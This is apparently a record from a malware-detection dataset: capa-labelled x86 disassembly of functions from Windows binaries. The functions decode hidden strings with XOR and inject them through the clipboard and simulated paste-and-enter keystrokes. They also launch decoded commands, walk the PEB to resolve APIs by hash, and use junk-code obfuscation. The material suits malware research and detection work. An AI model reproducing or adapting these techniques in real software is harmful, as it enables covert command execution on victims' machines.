joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003210
Capabilities:
Encode data using xor
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
mov eax, dword [0x10011040]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x1000eb40]
xor eax, eax
movups xmmword [ebp - 0xc8], xmm0
mov byte [ebp - 0x78], 0
movaps xmm0, xmmword [0x1000eb60]
movups xmmword [ebp - 0xb8], xmm0
movaps xmm0, xmmword [0x1000eb30]
movups xmmword [ebp - 0xa8], xmm0
movaps xmm0, xmmword [0x1000eb10]
movups xmmword [ebp - 0x98], xmm0
movaps xmm0, xmmword [0x1000e990]
movups xmmword [ebp - 0x88], xmm0
nop
mov cl, byte [ebp - 0xc8]
xor byte [ebp + eax - 0xc7], cl
inc eax
cmp eax, 0x4f
jb 0x10003270
push esi
lea esi, [ebp - 0xc7]
mov byte [ebp - 0x78], 0
push edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10003292
sub esi, ecx
inc esi
push esi
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
lea eax, [ebp - 0xc7]
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push edi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
push 0x6c
lea eax, [ebp - 0x70]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov edi, dword [sym.imp.USER32.dll_SendInput]
add esp, 0xc
mov eax, 0x10
mov dword [ebp - 0x74], 1
mov word [ebp - 0x70], ax
mov ecx, 0xd
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x74]
push 0x1c
push eax
push 4
mov dword [ebp - 0x58], 1
mov word [ebp - 0x54], cx
mov dword [ebp - 0x3c], 1
mov word [ebp - 0x38], cx
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x18], 2
call edi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xc8
call esi
mov eax, 0x56
mov dword [ebp - 0x74], 1
mov word [ebp - 0x54], ax
mov ecx, 0x11
mov word [ebp - 0x38], ax
lea eax, [ebp - 0x74]
push 0x1c
push eax
push 4
mov word [ebp - 0x70], cx
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x20], 1
mov word [ebp - 0x1c], cx
mov dword [ebp - 0x18], 2
call edi
push 0xc8
call esi
mov eax, 0xd
mov dword [ebp - 0x74], 1
mov word [ebp - 0x70], ax
mov word [ebp - 0x54], ax
lea eax, [ebp - 0x74]
push 0x1c
push eax
push 2
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x50], 2
call edi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1000c15a
mov esp, ebp
pop ebp
ret
Function at 0x10003400
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb4
mov eax, dword [0x10011040]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x1000e9c0]
xor eax, eax
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0x84], 0x406f6a5c
movaps xmm0, xmmword [0x1000ea20]
movups xmmword [ebp - 0xa4], xmm0
mov dword [ebp - 0x80], 0x73737674
movaps xmm0, xmmword [0x1000eab0]
movups xmmword [ebp - 0x94], xmm0
mov dword [ebp - 0x7c], 0x7d404d7a
mov word [ebp - 0x78], 0x6b70
mov byte [ebp - 0x76], 0
mov cl, byte [ebp - 0xb4]
xor byte [ebp + eax - 0xb3], cl
inc eax
cmp eax, 0x3d
jb 0x10003461
push esi
lea esi, [ebp - 0xb3]
mov byte [ebp - 0x76], 0
push edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10003483
sub esi, ecx
inc esi
push esi
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
lea eax, [ebp - 0xb3]
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push edi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
push 0x6c
lea eax, [ebp - 0x70]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov edi, dword [sym.imp.USER32.dll_SendInput]
add esp, 0xc
mov eax, 0x10
mov dword [ebp - 0x74], 1
mov word [ebp - 0x70], ax
mov ecx, 0xd
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x74]
push 0x1c
push eax
push 4
mov dword [ebp - 0x58], 1
mov word [ebp - 0x54], cx
mov dword [ebp - 0x3c], 1
mov word [ebp - 0x38], cx
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x18], 2
call edi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xc8
call esi
mov eax, 0x56
mov dword [ebp - 0x74], 1
mov word [ebp - 0x54], ax
mov ecx, 0x11
mov word [ebp - 0x38], ax
lea eax, [ebp - 0x74]
push 0x1c
push eax
push 4
mov word [ebp - 0x70], cx
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x20], 1
mov word [ebp - 0x1c], cx
mov dword [ebp - 0x18], 2
call edi
push 0xc8
call esi
mov eax, 0xd
mov dword [ebp - 0x74], 1
mov word [ebp - 0x70], ax
mov word [ebp - 0x54], ax
lea eax, [ebp - 0x74]
push 0x1c
push eax
push 2
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x50], 2
call edi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1000c15a
mov esp, ebp
pop ebp
ret
Function at 0x100035f0
Capabilities:
Encode data using xor
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
mov eax, dword [0x10011040]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x1000eaa0]
xor eax, eax
movups xmmword [ebp - 0xb8], xmm0
mov word [ebp - 0x78], 0x10
movaps xmm0, xmmword [0x1000e920]
movups xmmword [ebp - 0xa8], xmm0
movaps xmm0, xmmword [0x1000ea40]
movups xmmword [ebp - 0x98], xmm0
movaps xmm0, xmmword [0x1000e930]
movups xmmword [ebp - 0x88], xmm0
nop dword [eax]
nop word [eax + eax]
mov cl, byte [ebp - 0xb8]
xor byte [ebp + eax - 0xb7], cl
inc eax
cmp eax, 0x40
jb 0x10003650
push esi
lea esi, [ebp - 0xb7]
mov byte [ebp - 0x77], 0
push edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10003672
sub esi, ecx
inc esi
push esi
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
lea eax, [ebp - 0xb7]
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push edi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
push 0x6c
lea eax, [ebp - 0x70]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov edi, dword [sym.imp.USER32.dll_SendInput]
add esp, 0xc
mov eax, 0x10
mov dword [ebp - 0x74], 1
mov word [ebp - 0x70], ax
mov ecx, 0xd
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x74]
push 0x1c
push eax
push 4
mov dword [ebp - 0x58], 1
mov word [ebp - 0x54], cx
mov dword [ebp - 0x3c], 1
mov word [ebp - 0x38], cx
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x18], 2
call edi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xc8
call esi
mov eax, 0x56
mov dword [ebp - 0x74], 1
mov word [ebp - 0x54], ax
mov ecx, 0x11
mov word [ebp - 0x38], ax
lea eax, [ebp - 0x74]
push 0x1c
push eax
push 4
mov word [ebp - 0x70], cx
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x20], 1
mov word [ebp - 0x1c], cx
mov dword [ebp - 0x18], 2
call edi
push 0xc8
call esi
mov eax, 0xd
mov dword [ebp - 0x74], 1
mov word [ebp - 0x70], ax
mov word [ebp - 0x54], ax
lea eax, [ebp - 0x74]
push 0x1c
push eax
push 2
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x50], 2
call edi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1000c15a
mov esp, ebp
pop ebp
ret
Function at 0x100037e0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov eax, dword [0x10011040]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x1000ead0]
xor eax, eax
movups xmmword [ebp - 0x78], xmm0
mov dword [ebp - 0x68], 0x504d0665
mov word [ebp - 0x64], 0x4d
nop word [eax + eax]
mov cl, byte [ebp - 0x78]
xor byte [ebp + eax - 0x77], cl
inc eax
cmp eax, 0x14
jb 0x10003810
xor eax, eax
mov byte [ebp - 0x63], 0
mov word [ebp - 0xe], ax
xorps xmm0, xmm0
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x50]
movlpd qword [ebp - 0x4c], xmm0
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x77]
movlpd qword [ebp - 0x44], xmm0
push eax
push 0
movlpd qword [ebp - 0x3c], xmm0
movlpd qword [ebp - 0x34], xmm0
movlpd qword [ebp - 0x2c], xmm0
movlpd qword [ebp - 0x1e], xmm0
movlpd qword [ebp - 0x16], xmm0
mov dword [ebp - 0x50], 0x44
mov dword [ebp - 0x24], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xffffffffffffffff
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x5c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000c15a
mov esp, ebp
pop ebp
ret
Function at 0x10003be0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov eax, dword [0x10011040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x434], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0x18
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x430], 0x224
lea eax, [ebp - 0x430]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x10003ca4
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edi, dword [sym.imp.KERNEL32.dll_Module32Next]
nop word [eax + eax]
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x410]
push eax
push 0
push 0
call ebx
mov eax, dword [ebp - 0x434]
lea ecx, [ebp - 0x20c]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x10003c8d
test dx, dx
je 0x10003c89
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x10003c8d
add ecx, 4
add eax, 4
test dx, dx
jne 0x10003c67
xor eax, eax
jmp 0x10003c92
sbb eax, eax
or eax, 1
test eax, eax
je 0x10003cbe
lea eax, [ebp - 0x430]
push eax
push esi
call edi
test eax, eax
jne 0x10003c40
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000c15a
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x41c]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.1000c15a
mov esp, ebp
pop ebp
ret
Function at 0x10004890
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x100048b7
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0
push 0
push 0
push 0x10003f10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
pop ebp
ret 0xc

Function at 0x10004c60
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x10004c91
nop dword [eax]
movzx eax, byte [edi + ecx]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x10004c80
pop edi
mov eax, edx
pop esi
pop ebp
ret 8
Function at 0x4f88916b
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x30
push esi
mov esi, ecx
push edi
mov edi, dword [esi + 0x10]
test edi, edi
jne 0x4f889185
xor al, al
jmp 0x4f8892fe
mov ax, word [esi + 2]
xor ecx, ecx
mov word [ebp - 0x1c], ax
add edi, 0xa
mov al, byte [esi + 4]
push ebx
mov byte [ebp - 0x1a], al
mov bh, cl
xor eax, eax
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x14], ax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov byte [ebp - 1], bh
jmp 0x4f8891db
push dword [ebp + 0xc]
lea ecx, [ebp - 0x1c]
push dword [ebp + 8]
call fcn.4f888958
test eax, eax
js 0x4f88928c
lea eax, [ebp - 0x1c]
mov ecx, esi
je 0x4f88926a
push dword [ebp - 8]
push eax
call fcn.4f896dbb
mov edi, eax
push dword [esi + 0x14]
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
lea ecx, [ebp - 0x1c]
call fcn.4f888aae
mov bl, al
test bl, bl
jne 0x4f8891af
mov edi, dword [ebp - 8]
mov dword [esi + 0x14], edi
xor edx, edx
test bh, bh
jne 0x4f889220
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x1c]
and dword [ebp - 0x10], edx
mov word [ebp - 0x14], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0xc], eax
call fcn.4f8889c5
mov edx, eax
mov cx, word [esi + 6]
mov eax, dword [ebp + 0x18]
and dword [ebp - 0x24], 0
mov word [ebp - 0x30], cx
mov cl, byte [esi + 8]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x14]
mov byte [ebp - 0x2e], cl
lea ecx, [ebp - 0x30]
mov word [ebp - 0x28], ax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], eax
call fcn.4f8889c5
mov ecx, dword [esi + 0x14]
lea ebx, [edx + eax]
mov edx, dword [esi + 0x18]
sub edx, ecx
cmp ecx, dword [esi + 0x18]
sbb ecx, ecx
and ecx, edx
cmp ecx, ebx
jae 0x4f88929c
xor al, al
jmp 0x4f8892fd
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 8]
push eax
call fcn.4f888fa7
mov edi, eax
mov dword [ebp - 8], edi
test edi, edi
je 0x4f8892fb
mov bh, 1
mov byte [ebp - 1], bh
jmp 0x4f88928f
mov dword [ebp - 8], edi
test bl, bl
jne 0x4f8891f9
jmp 0x4f8891f6
mov eax, dword [esi + 0x14]
sub eax, edi
push eax
mov eax, dword [esi + 0x18]
sub eax, ebx
sub eax, edi
push edi
push eax
lea eax, [ebx + edi]
push eax
call dword [sym.imp.msvcrt.dll_memmove_s]
mov eax, dword [esi + 0x14]
add esp, 0x10
add eax, ebx
cmp byte [ebp - 1], 0
mov dword [esi + 0x14], eax
jne 0x4f8892d5
push eax
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x1c]
call fcn.4f8889e9
jmp 0x4f8892e8
cmp byte [ebp - 0x1a], 0
je 0x4f8892e8
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
inc eax
push eax
call fcn.4f88897f
push dword [esi + 0x14]
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x30]
call fcn.4f8889e9
mov byte [esi + 0x20], 1
mov al, 1
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4f8912f5
Capabilities:
Encode data using xor

Disassembly:
call 0x4f89126e
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x4f89129e
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x4f8912ba
xor edx, 0
jmp 0x4f8912c5
xor edx, edx
jmp 0x4f8912dc
jmp 0x4f8912e8
xor eax, eax
push 0x8427d7c0
call 0x4f8912f5
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x4f891331
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x4f89130a
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x4f891348
add eax, 0
jno 0x4f89134d
add esi, 0
ret 0x10

Function at 0x4f8920b6
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x4f8920d8
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x4f89227a
cmp edi, dword [ebp + 0x10]
jb 0x4f89227a
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.4f891ba2
inc edi
jmp 0x4f892161
jmp 0x4f89216e
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.4f891ba2
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.4f891ba2
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x4f8921c2
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x4f8921a6
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.4f8921f0
add dword [eax], 0x39
jle 0x4f8921cc
sub al, 0xf5
mov ch, al
call fcn.4f892205
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x4f893edd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x4f893ef3
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x4f893f04
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.4f893f45
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x4f8962b1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x4f8961fa
add ebx, 0
push ecx
call 0x4f89620f
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x6c479152
sub ebx, dword [0x6c498991]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x6c498981
call fcn.4f891cd9
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.4f8911e7
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x4f89636d
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x4f89636d
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x4f896324
mov eax, 1
lock xchg dword [0x6c49898d], eax
push 0x3dd1fc71
call 0x4f8962b1
push esi
add esp, 8
cmp eax, 0
jne 0x4f89629a
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x4f8962c0
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x4f8962d5
cmp ecx, edx
cmp eax, 0
je 0x4f8962fa
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x4f8962e4
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.4f896313
dec eax
loope 0x4f896316
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x6c49898d], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x4f89634a
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x4f89635f
jmp 0x4f89636a
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x4f896258
Function at 0x4f89d3d2
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x4f89d6a8
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x6c485605
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x6c47c5cb
push 0xffffffffffffffff
call fcn.4f8945d2
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x4f89d43c
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.4f89d454
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x4f89d69c
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x4f89d670
Function at 0x4f8acea2
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x4f8acec4
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x4f8acec4
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x4f8acec4
ret
cmp word [ebx + 4], 0x14c
jne 0x4f8acec4
test word [ebx + 0x16], 2
je 0x4f8acec4
test word [ebx + 0x16], 0x100
je 0x4f8acec4
cmp word [ebx + 0x18], 0x10b
jne 0x4f8acec4
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x4f8acec4
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x4f8acf50
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x4f8acee4
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.4f893e2f
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x4f8acec4
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x4f8acf50
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x4f8acec4
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x4f8acec4
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x4f8acec4
ret
cmp word [ebx + 4], 0x14c
jne 0x4f8acec4
test word [ebx + 0x16], 2
je 0x4f8acec4
test word [ebx + 0x16], 0x100
je 0x4f8acec4
cmp word [ebx + 0x18], 0x10b
jne 0x4f8acec4
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x4f8acec4
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x4f8acf50
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x4f8acee4
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.4f893e2f
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x4f8acec4
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8